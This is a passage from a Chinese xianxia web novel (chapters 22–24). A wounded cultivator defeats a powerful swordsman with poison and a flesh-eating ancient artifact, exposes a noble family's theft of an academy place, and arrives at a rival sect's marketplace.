如此自相残杀的一幕，禾欢欢意识到不对，后撤，退了回来。两人默契同步，以血为基，术法灵引，祭出宗门阵盘，开阵、防御。
虞山提剑，凌空飞砍。
似是抱着必杀的心，那剑影快到令人窒息。顶上密集切砍的声音挤压着防阵，‘叽叽’磨人，阵外灵罩只瞧得见数道飞掠黑影的急速猛攻，他们三人就像是笼中困兽，等候审判，绝望压顶。
‘咔’，灵罩正上，裂开细缝。
糟了！
虞山动作极快，见有漏洞，黑剑一棱，合气刺来。
“师兄！”
“郑予时！”
宜东藏是操控阵盘的主手，阵破，他首当其冲，血气翻涌，然而饶是如此，迎着刺顶黑剑，他却是第一个冲上去以死相拼的人。
只是，两次重伤，宜东藏已是强弩之末，郑予时不可能看着他去送死。
“郑予时！你回来！”
宜东藏的一声，叫禾欢欢也看到了郑予时冲上去保护他们的动作。
眼眶一红，禾欢欢手里的剑毫不犹豫，朝着那向人刺来的黑剑全力一掷，只求偏移半分，护下她。
只是，虞山的剑，并不是想挡便能挡得下的。
剑气一震，震开外来之物。
黑剑飞疾，不偏不倚，直指脖颈。
虞山黑剑结构特殊，刺入肉中，搅烂三寸，是以他常用的杀招有二：切脖、穿心。一般杀人，求快，只用切脖，只有面对腌臜狂徒，他才会用穿心，叫人痛不欲生。
但她，要的就是他穿心一剑。
郑予时故意刺激，挑衅竖起左手小指，鄙夷一指自己心口，轻蔑讥讽的意味不言而喻。
她在赌，赌她心口的咒文，能再救她一次。
虞山怒目，剑尖刺入，霎时，心口咒术抵御，果然！她赌对了！
只是第二次的防御似是比不得先前，咒术只将黑剑禁锢，却不像禾欢欢同她说的那般，将人弹开。
但这样，也够了。
鲜血滴下，体内受灵压瘀积
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的血呕了出，瞬息，就在血色将至，在心口肌肤被割开不到一厘米的刹那，郑予时手心丹药捏烂，那揉了她灵力吸噬而成的灵力团肆虐暴动，一下，拍到了黑剑上。
“轰———”
压顶灵力轰然炸开，滔天威压，海水激起千层。
水落，爆破骤然，虞山不备，内灵岔了一息，剑身轻颤嗡鸣。如此动荡，不只震得他晃神，连带着郑予时插了剑的心口都震得发颤。
这一炸，堪堪金丹境。除了对这炼气期的废物竟能有如此实力的意外之外，虞山毫发无损。
杀意愈浓，剑尖更深，在虞山生怒，御剑欲要刺破她心口咒术的霎那，郑予时攥紧的左手，悄悄张了开。
内里，药香漫来。
虞山，少说分神境，她那搓的丸子，药力再强，能融周遭灵力再多，但以她目前炼气五层的基础，只有死。
但，打不过，她，却能毒死他。
刚刚那一击，只不过是叫他吸入药引子的障眼法。而现在她手里的，才是真正要命的东西。
妈的，就不信搞不死他！
“呵。你死定了。”
灵力缠绕，五指张开，丝丝药香化形成蛇，蜿蜒绕来。
不对！
虞山体内欲热，察觉不妙是要撤离，然心口挨了一剑只为等来这一刻的郑予时怎么会放过他。她抓了心口染了血的黑剑，笑得极其开心。
“你跑不了的。虞山。”
像是索命恶鬼一样的笑，瘆人。
虞山失控，黑剑被咒术禁锢难拔，他反手集结灵力一掌拍向郑予时的丹田处，想要断了她的命根，杀了她。
然，他的这一手，也早在郑予时计算之中。
药香侵入体内，你以为，只是如此吗？
那可是她特意杂了她混元之灵的药，吸入体内，经脉附着，虞山体内激发的灵力用得越多，炸得，就会越凶。只待她手心药力一合，外迁内引，他，必死。
只是……瞧着虞山冲自己丹田拍来的一掌，郑予时咬紧了下唇。
只是这一掌，她接下来后，可能也没剩多少气了。
她，是在拿命，换命。
来吧。左右不过废了丹田，但，拉一个垫背的也够本了。
丝毫不顾虞山刺杀她的动作，郑予时掌心药力将合，灵力一引，十指缠绕，用那药力激得虞山浑身经脉颤栗不止，几欲崩溃。
虞山察觉异样，撑不住，他怒目欲裂，拼着最后的力气向郑予时拍去，那势头，像是要同归于尽。
杀了她！
“去死！”
大掌袭来，瞬间，灵压刺骨，灵根碎裂。
然这一掌，灵力十足，虞山经脉受到的药力反噬比他打出来的这一掌，炸得更凶。
“噗……”
分神一击，两人双双呕血弹开。在虞山坠空砸入深海的同时，郑予时像是破布，也被他一掌拍飞了出去。
伤敌一千自损八百。他们，两败俱伤。
“郑予时！”
如断线风筝一般飘零，像是死了。
明明是个又瘦又小的脆皮小矮子，但偏偏她顶在他们身前的模样，半分不退。
禾欢欢看得眼红，欲要上前接人。然，蓦地，只见空中炸开一道强势灵压，挥开来人。
郑予时浑身被那道灵压红光覆盖，红光威压滔天，压得禾欢欢两人满头恶汗，几乎不能动弹。他们眼睁睁看着那光渐渐凝合成形，似是炉，似是锅，将郑予时裹了，滞留空中。
那是什么东西！？
其内，郑予时的腹部像是揉了台绞肉机，生疼。
只是当她强撑着睁开眼，却见自己不晓得为何，到了一片满是血红的一方空间。
这，哪儿？
丹田碎成渣的痛感扯得生疼，郑予时内查，恍惚。
她的灵根果然被虞山拍碎了，但，除了碎根，她的丹田处竟不晓得什么时候多了个艳红的气团。那气团裹着她碎裂的灵根，一片一片，粘黏成形。
这，是什么？
睁眼，丹田突然传来一股暴虐的灵力，不同于混元灵根本身的威压，这股力量，邪气得很。
郑予时置身血红之中，随着她丹田那抹红疯狂转动，周遭空间骤然形成巨型血卷，肆意狂呼，化成阵阵灵卷冲她丹田处疯狂涌入。
尖叫嘶吼的惊恐声自其中漫开，冲入脑海，刺激神经。
郑予时的脑袋几欲炸裂，她丹田里的那个东西，正在吸收这方天地间的，邪气、怨气、煞气，她脑子里的声音声嘶力竭。
这究竟是什么！？
“啊！”
景破，音落。
再睁眼，只见那红光散去，郑予时面色麻木，稳稳滞于空中。她的脚下，凝聚成形，竟是踩了一口巨大的猩红大锅。那锅表面纹路狰狞扭曲地爬着，又丑又繁复，像是诅咒铭文，又像是远古祭祀，诡异得很。
锅中咕噜翻滚着血红泡泡，一开一噗，像是在炖煮着什么东西，翻滚着。
满脑狰狞撕扯散去，郑予时回神，看着自己脚下这正咕噜噜的‘红汤’，本就恍惚的她，整个人呆滞了一瞬。
铁，铁锅炖自己？
好家伙。
这口凭空出现的诡异大锅哪儿哪儿都透着古怪，底下阵盘上，禾欢欢和宜东藏见郑予时暂时无碍稍微放了些心，然而他们怎么也想不通这口吞了人的大锅究竟是个什么情况。
锅扛着人要往下来。
蓦地，海下卷来一尾巨浪，一翻，黑衣提剑冲天而来。
“受死吧！”
是虞山！
郑予时微怔，心底生疑：他的一身经脉，不是被炸毁了吗？
黑剑破空，逃无可逃。但这次自下而上的突袭距离刚好，禾欢欢和宜东藏扔了好些符隶过来帮忙，稍稍阻了虞山的半息动作，而就是这半息，叫郑予时有了喘息的空间。
怎么办？
分神境就是他们仨加起来都打不过。
剑尖刺来，峥鸣的剑身裹了海下刚刚活人身死的血水，煞气冲天，它一近，郑予时脚下的大锅像是活了，骤然兴奋起来。
嗯？
我去！
不等她反应，大锅抽身一竖，像是飞滴一样刷地冲那剑飞了过去，像是失了控。
郑予时的脚被黏在那锅中血泡泡里，她整个人随着大锅乱飞，甩得想吐。
‘叮’的一声，只听一声脆响，它用锅背挡了那黑剑。
‘咔嚓咔嚓’的诡异声音自后方传来，郑予时好不容易稳住身子扒拉上锅，一看，好家伙，只见锅背那儿黑剑刺来的地方开了道口子，一开一合，嚼吧嚼吧，竟是咔咔地将那黑剑咬烂，一寸一寸，吃了进去。
卧槽！
22. 第 22 章
剑身峥鸣，痛不欲生。虞山腿蹬一拔，拔出了只剩下一半的断剑。
欲退，然而那只蹬上锅背的腿，被铁锅‘咬’了住。
‘咔嚓’一声，碎骨，断腿。
“啊！”
一声痛呼，虞山腿部粘在锅上的部分被死死咬住，吞噬，撤退不得。虞山浑身灵力暴动，猛攻，半分未动。
不止如此，随着他的进攻，灵力滋润，那‘铁嘴’，啃得更欢了。
不行！
见着将要吞噬到小腿，虞山心一狠，断剑一棱，挥剑砍去。
剑光闪过。虞山断腿，逃生。
卧槽……
那抹急速飞窜的黑影，三两下消失不见，只留一腿还挂在锅底嚼吧着，难评。
“郑予时！你没事吧！”
禾欢欢在下头吼，说实话，郑予时也不知道她这到底是有事还是没事。
大锅啃完，像是消停，它载着郑予时落地，渐渐缩了身形，化成巴掌大一个停到了她的掌心。
宜东藏和禾欢欢也从海上阵盘落了地，乱战结束，人已上岸，船灵徐徐，又是顺着来路回了去。
看着虚影错落渐渐隐入海上雾色的船，郑予时想到了那个不辞而别的人。亓涿光。
两日闭门不出。她为什么走了？
她又到底，去了哪儿。
岸边，宜东藏给她喂了不少丹药，经此一战，心疲力尽。
西疆域的子弟自相残杀的事儿，说不得；那海底瑞兽被他们残杀的事儿，似是受了他们宗主的授命，更是说不得。
三人胡乱寻了石块一坐，理清思路的同时，瞧起了她掌心的锅。
禾欢欢皱眉看了好久。
“师兄你看。它屁股这里，这是不是神谕？”
神谕？
宜东藏顺着看去，念出。
“金吾。焚祭。化……神。再后面看不懂了，不过确实，是古籍上记有的上古神族的字符。”
“这东西，应是上古神器。”
上古神器？
郑予时不晓得这意味着什么，只觉着听起来特别厉害的样子。
传闻，神器有灵，自主认主。当它们初现认主之时，会以血成契，绑定命数，而再之后，依主人喜恶化形成器，以便护主。
郑予时手里这个，应当是认了主了，而刚刚那一方血红，就是它在化形。
只是……
或许受她记忆的影响，这神器化形的模样，除了周身刻入的繁复铭文，其他的和她上辈子家里用来炼药的那口铁锅近乎一模一样。
郑予时无奈：好端端的神器，怎么就成了个大锅呢？
就不能换个逼格高一点的威风样子吗？
害。算了。
“可是师兄，神器出世，必伴有天降异象，可……”
禾欢欢不解。还有些害怕。
“自古神器都是灵气庇体的，可它，它刚刚吸噬的可是煞气。还吃人腿呢！”
“……”
确实。刚刚虞山的腿可不就给它吃了吗。
郑予时倒是想起了些什么，这玩意儿应该是他们到西疆域之前就提前窜到了她身体里的，或者说，是她在城主府一战中昏迷后，窜到她丹田里的。
刚刚虞山杀他同伴的时候，遍海尸体，引起她体内的那股嗜血异样的，就是它。
而刚刚化形的那一方血红之中，那声声嘶吼的声音，也很熟悉。
郑予时觉得，她应该是猜到了，它到底是什么。
“师妹。它应该不是魔器。”
“虽然它煞气邪气缠身，但这铭文，确实是神谕文字。它，是上古神族的遗物，是神器。”
宜东藏说得极其笃定，这个定论禾欢欢信了，但心里仍是有些介怀。毕竟刚刚那吃人的一幕，还是很吓人的。
只是这介怀还没等禾欢欢适应，郑予时接下来的一句话又叫她浑身起了鸡皮疙瘩。
“神器么。”
“你们，还记得纪云城那个吞噬了血尸祭阵的炉鼎吗？”
“记得。怎么了？”
郑予时的眼睛一眯，不答，反问了禾欢欢道。
“我当时晕过去了。你还记得，那炉，最后去哪儿了吗？是还在城主府中，还是……”
“郑予时？你刚刚被是打到脑子了？姜茹被我爹杀了，那屠城的炉自然是毁了呀。上古祭阵就刻印在那个炉里，虽然你当时把它炸毁了一大半，但为了不被有心人再拿去祸乱，我爹将那炉也一并毁了的。”
“你。亲眼见到你爹毁了？”
“你什么意思！？”
几人早已熟稔，郑予时知道她并无恶意，抬手按了激动到起身的禾欢欢，喊人坐下。
“当时城主府，我是被姜茹抓到炉鼎里面的。我离它，最近。”
“你们可能没看到，但我瞧得清楚，那炉鼎里刻有的铭文，和这个锅上的，一模一样。甚至，连模糊断掉的地方，都分毫不差。”
“刚刚那天边红光你们都瞧见了，据你们所说，是神器化形。但是在那里面，我却听到了战士赴死的嘶吼，听到了炉鼎焚烧的惨烈。这些怨念、煞气，也和纪云城内那口吞了数万将士的炉鼎，对得上。”
说罢，郑予时将手心的锅往禾欢欢那边送了送，神情严肃。
“禾欢欢，纪云城内的那只炉鼎并非我们以为的邪物，而是神器。”
“你确定，你爹毁了它吗？”
“……我，我……我并未亲眼看到爹爹毁了它，可是，可是就算我爹没毁，他为什么要骗我？这炉鼎又为什么会到你手里？就不能，不能是两个相像的东西吗！”
“欢欢。”
宜东藏喊住了禾欢欢激动的情绪，他轻拍她的后背，轻声安慰。
“我想宗主会瞒着你，是不想你担心。”
“师兄。连你也认为，这就是纪云城的那只炉吗？连你也觉得，是我爹，骗了我吗？不，我爹这么好，他不可能骗我的！”
一声不可能，宜东藏的眸色深了三分。
他眉心皱了起来，唇齿微启，似乎是纠结着想要说些什么，然而海面浪来，蓦地，回眸，海上云雾再破，一艘金灿灿的豪华船只阻断了宜东藏嘴里的话。
两人回身，而郑予时却将宜东藏的异样、挣扎看进了眼里。
他刚刚，是想说什么呢？
“有人来了。”
船只靠岸，金梯落下，青衣公子大摇大摆，三两步跳了下来。
郑予时收了手心大锅，抬眸，整个僵住：完蛋。
这不是纪家那位夜里刺杀她和亓涿光的小公子嘛！
“纪云遂。”
“禾欢欢？你怎么也来了？”
禾欢欢与人似是熟识，三言两语，算是打了招呼。
“云遂。”
“阿姐！”
“阿姐当心，你慢些。”
纪云遂抬手撑住了下船的人，一步一缓，小心得很。
“阿姐你看，禾欢欢也来了，你别怕。咱爹和霍宗主谈过，你来就是来走个过场，才不是那些小宗门送来献礼的弃子，阿姐是不会被害成作滋补他人的炉鼎的。”
说罢纪云遂似是打趣，半分不饶人地调侃起了面前的禾欢欢。
“对了禾欢欢，禾宗主可向来是个护短的，怎么会送你来？难道说，你个弱鸡身子的犟脾气又说要练剑，惹了你爹了，所以这才把你送来给人作炉鼎了？哈哈哈哈。”
“云遂，不得无礼。”
“呵。我当是谁呢，原来是考了咱们禾丹宗三年，年年不入药剂初试的纪家三少呀。怎么，今年又失败了？三年考不上，心力交瘁，你爹也不要你了，送你这个废物来给人作炉鼎了！？”
“欢欢。注意分寸。”
“我今年考上了的！”
“我也不是练剑弱鸡！”
“云遂。”
“欢欢。”
“哼。”
“哼！”
俩人小孩儿似的，对哼一声，谁都不服谁，但在劝阻之下也都还算识大体，没再作妖。
只是这一言，却叫郑予时听到了补全的消息。
原来春妹儿的资格，是被卖给了纪家这个跋扈的小公子，纪云遂。
原来春妹儿的死，只是为了纪家人三年的脸面。呵。大族子弟。
“等等。你是谁？我怎么瞧你这么眼熟呢。”
冷哼一声偏了头，不巧，纪云遂看过来的方向正是郑予时的所在。
郑予时心里的气郁结了不少，这么多人在，特别是一看就能压住纪云遂的阿姐也在，她从可没想给这跋扈愚蠢的小公子留脸面。
“是啊。我瞧你也挺眼熟的。你不是当归城那个，夜里来刺杀我的不要脸刺客吗？”
“是你！”
“刺杀？郑予时，怎么回事？”
禾欢欢可是答应了她爹要好好照顾郑予时的，听她这么一说，不等纪云遂冲来，她下意识便站到了她的身边。
三人几回历经生死，禾欢欢护她，宜东藏自然也是。
“云遂？怎么回事。”
“阿、阿姐……”
“说实话。”
纪云遂被夹在中间，前是禾欢欢和宜东藏他们的凝视，后是他家阿姐的质问，逃无可逃。
“阿姐，是她们先欺负的二哥！我，我就是见不得二哥被她们欺辱，气不过，所以才借了爹的暗卫，想着小小教训她们一下的。可是阿姐，我没伤她们，反倒是她们把虞大哥……”
纪云遂一愣，意识到自己说漏了的他，赶忙收了嘴。
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然而纪云听可不是好糊弄的。
“虞大哥？纪云遂，你到底干了什么好事。”
“我，对不起阿姐。”
‘咚’的一下，纪云遂麻溜一跪，当场招供。
“当时，当时我身上的药敷好了，所以，所以这才顺便请了虞大哥他们帮忙的……但是！是她们先侮辱二哥的！二哥身上的伤老恐怖了，阿姐你是没看到，胳膊腿儿没一处好的，她们不是好人！”
“住嘴。”
纪云听能看清，禾欢欢和宜东藏对这姑娘的态度不一般。
纪云卿是什么人？二房的庶子，他的品性，她再清楚不过。说有人叫他吃了亏？怕不是他先在外头惹出来的乱子。
“这位姑娘，你……”
“我叫郑予时。”
“郑姑娘。我是纪家纪云听，这是家中小弟纪云遂。小弟顽劣，我替他向你道歉。冒犯了。”
“没事。我也冒犯他了的。”
“郑姑娘，小弟年幼心性尚浅，听风就是雨，本性其实并不是坏。能否请姑娘告知，你和我二弟之间，到底是怎么回事？”
纪云听看起来是个讲理的，她的温柔让人很舒服，郑予时倒是也愿意同她谈。
两手一摊，连声音都轻了些，缓缓答道。
“我用药炸了他的狗腿子，耽误了他欺人杀人的龌龊事儿。后来，他恼羞成怒要杀我，被我姐姐反揍了去。就是这样。而至于那龌龊事儿……”
“纪家小姐，你觉得，三年未成，你弟弟今年真的考上禾丹宗了吗。”
“你什么意思！”
“云遂。你再多言，就回去。”
“阿姐……阿姐对不起。”
纪云听教训了人，又向着郑予时点头致歉，如此，倒是叫郑予时第一次对纪家人有了些好感。
只是，纪家杀人夺宝的事实，却是不争的。
“郑姑娘，我家二弟是个什么性子，我心里清楚。抱歉。”
“你不必跟我说抱歉。需要你二弟道歉的姑娘，已经死了。”
什么！
纪云卿的品性，他们几家一起玩儿到大的后辈谁见了不骂一声阴狠伪善，也只有纪云遂这个傻弟弟信他天性纯良。
禾欢欢本以为郑予时与纪云卿的矛盾只是争议，可谁知，竟还搭了条人命！
“纪云遂，你纪家今年入学禾丹宗的名额只有一个吧。你以为是你考上的吧。”
“呵。那可是你二哥花了大价钱，杀了人，换了名，给你送去的染血名帖。”
纪云遂的目光难以置信，他的眼睛瞪得老大，满眼茫然。
郑予时猜到了他不知情，只是，他纪家，他，都是凶手。春妹儿离开了，放下了，对春妹儿的家人，对纪家，她不会冲动报复，但真相，她是一定要说出来的。
抬眸盯人，郑予时那对乌青的黑眼圈挂在溜黑眼下，她死死盯着，咧嘴一笑，像是恶鬼。
“纪云遂，你这学，上得可真有派头。深夜炼药，不知道你会不会觉得肩头变沉啊。”
“啊，你别怕，那不过是被你抢名谋命的春妹儿，在和你一起进学呢。”
冷风一吹，纪云遂再憋不住。也不知是恼羞成怒还是压根不信，伸手怒骂道。
“你放屁！你说那什么春妹儿死了？是被我二哥杀的？证据呢？我二哥心善，才不可能恃强凌弱！禾丹宗的初试，明明就是我自己考上的！”
“那好。禾丹宗初试的题目是什么。”
“是恢复类药剂！”
“那你交上去的又是什么。”
“是我自己炼制的药剂，合灵！”
说罢，不等郑予时喊人，自小和宜东藏相识的纪云遂直接喊了人作证。
“宜东藏，你是禾丹宗的大师兄，历来初试药剂最后名录都是你审判抄录的，你说，我的合灵是不是通过试炼了！你说！”
宜东藏被拎了出来，面对纪云遂的质问，他的面色算不上好看。
在场都是聪明人，在听到‘合灵’二字时宜东藏眼里的疑惑，已然说明了问题。
郑予时一哼，笑了。
“你问了，那我也顺便问问。大师兄，春妹儿同我说过，她炼制的药剂，叫春回。大师兄可有印象？”
“有。”
说罢，在纪云遂不敢置信的目光中，宜东藏皱眉凝思，沉重地道出了最为残酷的真相。
“最后一轮选试，合灵、春回均达到试选资格，但两种药剂的根本，却截然不同。”
“合灵用药精贵，其里大多药品本就是高端恢复类灵药，融合成药虽效果好，但比之大多是用寻常药草重新配制而成的春回，略输一筹。”
“禾丹宗今年试选，唯一名额，是春回。”
“不！怎么可能！”
23. 第 23 章
宜东藏没理会纪云遂的失控，他转身看向了一边的郑予时，询问。
“郑予时。到底发生了什么。”
匹夫无罪怀璧其罪。郑予时将当归城客栈里杀人夺名的事情一一讲述，听完，满场沉寂。
面对事实，纪云遂不得不信。
他整个人瞬间抽空了力气，恍惚着后退两步，直接跌到地上。
“怎么会……我……”
满目无措，纪云遂看看宜东藏又看看自家阿姐，红了眼睛。
“阿姐，我，我不知道，我真的不知道。阿姐你知道我的，我，我努力了三年，我从来没想过为了考学去害人啊！阿姐，阿姐！”
“云遂，阿姐知道。”
较于纪云遂的无措惊恐，纪云听虽也红了眼眶，但镇定不少。
“云遂，起来。”
“阿姐。”
纪云听带着纪云遂朝郑予时鞠了一躬，郑重万般。
“郑姑娘，此事我姐弟二人并不知情。可纵是如此，春姑娘的死，我也一定记在心上。待我回纪家，定给你个交代。”
“郑姑娘，敢问春姑娘，葬在何方。”
郑予时向朝东的方向一指，纪云听点头致谢，随后拉了还惊慌着的纪云遂，一下跪了下去。
面朝东方，叩首致歉。
“你……”
这一跪，郑予时失声，红了眼别了头。
“春姑娘，对不起。云遂。”
“对不起。我，我和阿姐一定会找到害你的凶手的！你放心！你的名额我不会用的，我一定会查清楚到底是怎么回事，给你个交代的！”
姐弟二人衣襟精贵，然，泥土地里，毫不嫌脏，双手覆地，满是真情。
一通意料之外的结识，此事算是暂时揭过，去往西疆域宗门的路还得进行。
前路是一片桃林，郑予时同禾欢欢他们一起走着，身边是纪家姐弟，心情复杂。
纪云遂似乎真是个没心眼儿的小屁孩儿，将对春妹儿的愧疚都加到了郑予时的身上，吃的喝的用的好东西给了她不少，不收还不行，给了就跑。禾欢欢让她收下，说他向来如此不要脸，一笑，郑予时倒也自在了些。
在纪云听的传讯下，少顷，林中迎来了位白衣弟子，接人。
白衣一出，熟悉的用料样式叫郑予时三人不禁相视一望，彼此凑近。他们紧张得瞳孔微缩，下意识凝神噤声。
刚刚海岸的那场猎杀恶战，仍历历在目，他们，对西疆域的人，实在算不上有多喜欢。
“纪姑娘，一路劳累，二长老特意吩咐了我好生接待。额。这位是？”
纪云听介绍。
“禾丹宗，禾欢欢。”
“原来是禾宗主之女，禾姑娘，幸会。”
“幸会。麻烦了。”
草草招呼过后，弟子便打算带人往桃林里走，可不想刚迈步，他却像是注意到了什么不对的地方，脚步骤停，疑惑出声。
“咦。这是……”
弟子的视线穿过众人，落到了后头那片海面之上，郑予时三人的精神瞬间紧绷，连呼吸都静了一息。
要露馅了吗！？
“这、这居然是孚钰兽浮游后留下的余波！”
“天哪！孚钰兽！那可是古籍瑞兽，赐福赐运，百年难得一见。我在岸边桃林修行了四十年都从未见过，纪姑娘、禾姑娘，你们才来一次就得他送行，真幸运啊！”
抱手道贺，尴尬回礼。
呼。真吓人。
弟子的惊呼羡慕，做不得假，看来他并不知道先前剑羽派那一伙人的行踪，也并不知道西疆域宗主每月杀戮一只孚钰兽的事情。
弟子的不察叫三人松了口气。
幸好，幸好海浪冲刷了一切，掩盖了刚刚那浓厚的血腥，不然他们，估计免不了要被西疆域的人抓去审问一番。
海浪拍过，弟子走在前头带人入林。然而对于见到了孚钰兽出现的痕迹，他仍是兴奋不已，一路满是幸运、幸运地说着。
郑予时三人走在后头，就在最后入林的一霎之间，她注意到了宜东藏回头的动作。
他的那双深沉的眼睛看向了幽蓝深海里，情绪很重，很复杂。
不是对于刚刚恶战的忌惮，也不是对于他们深陷阴谋的沉思，而是，绝望中暗藏着一缕渺茫希望那般，像是不能宣泄的晦暗情感，挣扎、纠结，矛盾得很。
送行。接人的弟子说，孚钰兽的送行是为幸运，他道贺二位小姐幸运，但郑予时却觉得，幸运的，其实，是他。孚钰兽送行的人，也是他。
无垠海，和宜东藏，绝对有关系。且，这关系，恐怕并非泛泛。
穿林绕木，桃花错落。
弟子带着几人绕了好几圈，踩了好些阵眼，这才终于踏石而出。
第一眼，是青石暖玉，玉质铺成的地面踏之聚气，暖足调息，处处透着大气二字，叫人不得不叹一声：不愧是西疆域。
域门以同色玉石砌成，成拱成三，分别对应着西疆域的三支。其一傀儡派、其二毒蛊门、其三咒术冢。只有实力最强的第一分支傀儡派，掌管者被尊称为霍宗主，其余两支，均为二长老、三长老所属。
而他们此行要去的就是那其一，傀儡派。
弟子只将他们送到域门处，冲着那门后飘渺不见其踪的玄妙，伸手请人。
“纪姑娘、禾姑娘。咱们到了。”
入门，眼前景色瞬息万变。先是白茫一片，后是漫天绚烂，入目，繁华城落热闹街道，人声鼎沸。
郑予时身上一松，只见一道绿光散开，消失不见。
请柬赋灵，解了。
“呼。终于把这玩意儿解除了，这么些天赶路，把我急的。”
明日是禾欢欢赋灵到期的最后一日，如今解了，倒是轻松不少。
傀儡派宗门坐落于云端顶后的逍遥殿，那里，是她们参加招亲的地点，也是傀儡派内门弟子修习的所在。
入门后赋灵解，又有了另一位弟子来引。穿街过巷，绕楼环房，然而却是不入云顶，反倒是将他们带到了一处极大极雅的别院。
“几位里面请，参加招亲的入门左拐。纪姑娘，您和我来。”
“阿姐。我们是一起的！是吧！”
纪云遂的眼睛疯狂眨着，纪云听从小看着他长大，怎能不知他心里想的是什么。
抬手按住了躁动的人，她朝接引弟子微微福身。
“这位小兄弟。她是禾丹宗宗主之女禾欢欢，另一位是我们的贵客，还麻烦小兄弟辛苦一下，顺带一起安排了，可好。”
手里属于纪家的玉佩送了过去，一句话，将禾欢欢郑予时都纳入了保护范围。
禾欢欢身上的赋灵本就不是要给她的，能少些麻烦混过去她自然是愿意的，而郑予时是她罩的，纪云听如此安排，正好安排到了她心窝窝上。
“对！我们仨一起的，小兄弟麻烦一起安排了吧，我爹和你们宗主说了的。”
又是一块禾丹宗的玉佩送了过去，两家身份象征的物件儿叠在手里，压得那弟子面上的笑都僵了几分。
“好。三位，请。”
入门右拐安排了一间单独隔开的小院儿，院中五个房间，正好他们一人一处。
宜东藏的伤从外看起来无碍，但仍需调息，岸边一战，迷雾重重，三人约定晚上再谈。禾欢欢越来越粘郑予时，约了她下午一同上街逛去，说是她识药，要拜托她寻些好东西，一是给她和师兄补身子，一是给小蓝补身子。
正好郑予时要寻人，也要寻解咒的法子，就顺势应了下来。
她的丹田灵根本是碎了，但那据说是神器的大锅揉在里面，根根连着，并无异样。郑予时调动灵力想要去控制它，努力了一个时辰，毫无反应。
她，用不了它。
不只灵力爆炸的问题没有解决，现在，灵根碎裂，丹田里这多出来的锅也无从着手。
麻了。彻底麻了。
午后稍作休息，未时一刻，禾欢欢来敲了门。
上街，傀儡派的地界一分为二，很是讲究。其一云顶，是傀儡派弟子的修域，位于云端顶后之处；其二云下，是寻常西疆域的百姓安居乐业的地方，位于云端下落之处。
郑予时他们被安排了留宿的地界，正是往客安居的云下。
街边往来行人不少，各种小摊子上的玩意儿都稀奇得很。不是寻常城里的糖人酥饼，也不是平日店家的布匹饰品，而是各种用琉璃装了惊悚小人的瓶瓶罐罐。
罐子罐口衔丝，一个摊子，数十琉璃罐的黑丝迁入店家手中。
买家掏钱，卖家
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给丝，一牵，一提，琉璃碎裂，只见那被买家选中的琉璃里，惊悚小人儿竟是整个被提溜了出来。青烟一裹，落地一散，霎时，一位同那罐子里小人儿等比放大的一模一样的傀儡人，立于店前。
小人儿口中含了玉石，不能言，往下，关节处满是猩红断痕，一动，像是老化的机器，咔嚓响。
他的脖上套了黑丝，那丝层层叠叠裹着，只留了极细一丝，虚虚引着，牵到了那买家手里。
买家一提，小人儿双膝一抖，头磕地，匍匐在地。
“哈哈，真好玩儿。”
买家似乎不是这里的人，稀奇一笑，又是一提。然而不会操控的他，丝线缠绕，叫小人儿整个翻滚在地，不听使唤。好好的苍白皮肤擦破了血，滚上了泥，成了个狼狈的脏娃娃。
提不动，用不得，买家控不住，不尽兴，有些恼怒。
“什么脏东西，真丑！”
“不好玩儿，一点儿不好玩儿。没意思，我不要了。阿姐，咱们走，去那边看看！”
黑丝落地，骂着，小人儿就那么被丢在地上，瞳孔无神。
买家走了，买的东西却随意丢在了摊子前头，卖家一瞅，暗喜，伸手就要去捡，想着捡回来再卖。他贪财的动作很快，但，郑予时的动作比他更快。
“欸！你……”
眼见即将到手的‘钱财’被抢去，老板可没好脸。可谁想抬头一看，却看到了两位衣着华贵的姑娘。
而那个抢了他傀儡的，就是其中一位瘦弱的卷发小矮子。
西疆域少宗主天下招亲，谁人不知？近来他们这儿可来了不少贵人，只一眼，瞧出郑予时他们外来身份的老板立即收了脾气，客气笑了作罢。
面对老板哑了火的质问，郑予时倒是没甚反应，嘻嘻一笑，反头没脸没皮地问了起来。
“老板，壮阳补肾，来一瓶吗！？”
“我……”
老板的身上有虎鞭熬药的味道，郑予时一看他面色就知道，他虚得很。
傀儡落地，虽是无主，但她也不白拿，便想着用药抵。可谁知老板一听她这话，声也不吭，头也不回，忙挥了手满脸惊恐地跑了。
“欸！老板，你跑什么，我壮阳药还没给你呢！”
这一吼，跑得更快。
手里掏出来的药瓶子孤零零地躺在手心里，禾欢欢看得两眼惊恐满面通红，而郑予时倒是面色如常，她主要是没想明白，这老板明明就需要，跑什么呢？
其实这事儿也不怪她。先入为主，当初客栈被人下药清场的时候，那酒里参的壮阳药让她误会了这个地方的风土人情，这不，入乡随俗，说话底气都足了些。
“禾欢欢，他怎么跑了？我难道看起来像是个不会配药的骗子吗？不过说真的，这壮阳药分支挺多，是个大学问，嗯……你咋了？”
禾欢欢的脸越来越红，郑予时还想问她怎么了，哪想这人直接一手抓了她，在周边路人凌迟一样揶揄的目光下，遁地一般就要跑。
只是等人刚拉着她回头，两步，瞬间僵住。
郑予时被拽得一激灵，没刹住，‘咚’的一下撞到了禾欢欢的背上。鼻子红了，眼睛也红了。
“嘶。怎么了？”
郑予时矮，只到禾欢欢肩膀处的她根本不知道前头发生了什么。
她的手仍被禾欢欢牵着，偏头出去，一看，心底生惊，不禁也步了禾欢欢的后尘，僵在原地。
街前，亲昵地挽着两人。
白衣落尘，矜贵清冷；粉衣俏皮，灵动粘人。
那一脸冷色、似是落入凡尘仙人的白衣姑娘，是亓涿光，而那位黏在她身上，抱着她的右臂甜甜笑着的粉衣姑娘，郑予时并不认识。
只是，虽不认识，但她们两人动作间的亲密却是毋庸置疑。
经历上次游船内的失智，郑予时觉得，她再次见到亓涿光时，应该是尴尬心虚的，但不曾想这会儿真的见了，她的心里却有些发闷。
明明是直视着望过去的眸子，这一瞬，像是逃避什么，下意识避了开，虚虚落在街边地上，飘散。
郑予时不敢再看，她，理不清楚自己这是怎么了。她也想不明白为什么她不敢再看。
唇上轻笑，心中酸涩：原来，她不辞而别，匆匆离开，是为了，去寻别人啊。
24. 第 24 章
长街，巷角，四人两两成对，对立而站，气氛古怪。
禾欢欢的一张嘴张得老大，她不晓得说什么，也不晓得该如何动作。她和郑予时双双僵了住，郑予时是因为说不清得心闷，而她，则是因为震撼！
一双眼睛瞪得提溜圆，禾欢欢满目诧异。
亓涿光！亓涿光和郑予时不是一对儿吗？这！
之前在船上时，亓涿光一句不留地跑了，她还以为是有什么急事儿，可，可这会儿她居然又突然如此亲密地挽着别人回来，这是什么意思！？
什么情况！？
“姐姐，你认识？”
